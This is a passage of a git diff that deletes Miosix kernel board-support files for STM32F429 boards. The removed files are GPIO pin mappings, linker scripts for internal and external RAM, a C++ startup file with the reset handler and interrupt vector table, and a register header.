= Gpio; -using rx2 = Gpio; -} //namespace can - -namespace eth { -using miso = Gpio; -using mosi = Gpio; -using sck = Gpio; -using cs = Gpio; -using int1 = Gpio; -} //namespace eth - -namespace wireless { -//FIXME cs is missing -using miso = Gpio; -using mosi = Gpio; -using sck = Gpio; -} //namespace wireless - -namespace batteryManager { -using currentSense = Gpio; //analog -using voltageSense = Gpio; //analog -} //namespace batteryManager - -namespace misc { -using wkup = Gpio; -using adc1 = Gpio; //analog -using usart6tx = Gpio; -using usart6rx = Gpio; -using bootsel0 = Gpio; -using bootsel1 = Gpio; -} //namespace misc - -namespace piksi { -using tx = Gpio; -using rx = Gpio; -} //namespace piksi - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/stm32_2m+256k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/stm32_2m+256k_rom.ld deleted file mode 100644 index 8fd1a4604..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/stm32_2m+256k_rom.ld +++ /dev/null @@ -1,190 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - stacks and heap in the "large" 192KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 192KB RAM */ -_end = 0x20000000; -_heap_end = 0x20030000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K - backupram(rw) : ORIGIN = 0x40024000, LENGTH = 4K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ - - .preserve(NOLOAD) : ALIGN(4) - { - _preserve_start = .; - . = ALIGN(4); - *(.preserve); - *(.preserve*); - . = ALIGN(4); - _preserve_end = .; - } > backupram -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/stm32_2m+8m_xram.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/stm32_2m+8m_xram.ld deleted file mode 100644 index 13a231e17..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/stm32_2m+8m_xram.ld +++ /dev/null @@ -1,188 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM, 8M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - .data, .bss, stacks and heap in the external 8MB SDRAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xd0800000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K - backupram(rw) : ORIGIN = 0x40024000, LENGTH = 4K - xram(wx) : ORIGIN = 0xd0000000, LENGTH = 8M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - _end = .; - PROVIDE(end = .); - - .preserve(NOLOAD) : ALIGN(4) - { - _preserve_start = .; - . = ALIGN(4); - *(.preserve); - *(.preserve*); - . = ALIGN(4); - _preserve_end = .; - } > backupram - - -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/core/stage_1_boot.cpp deleted file mode 100644 index c4d44696b..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/core/stage_1_boot.cpp +++ /dev/null @@ -1,414 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f42x devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - //ST does not provide code to initialize the stm32f429-disco SDRAM at boot. - //Put after SystemInit() as SDRAM is timing-sensitive and needs the full - //clock speed. - #ifdef __ENABLE_XRAM - miosix::configureSdram(); - #endif //__ENABLE_XRAM - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index dfa020301..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_homeone/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F429xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() __DSB() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git 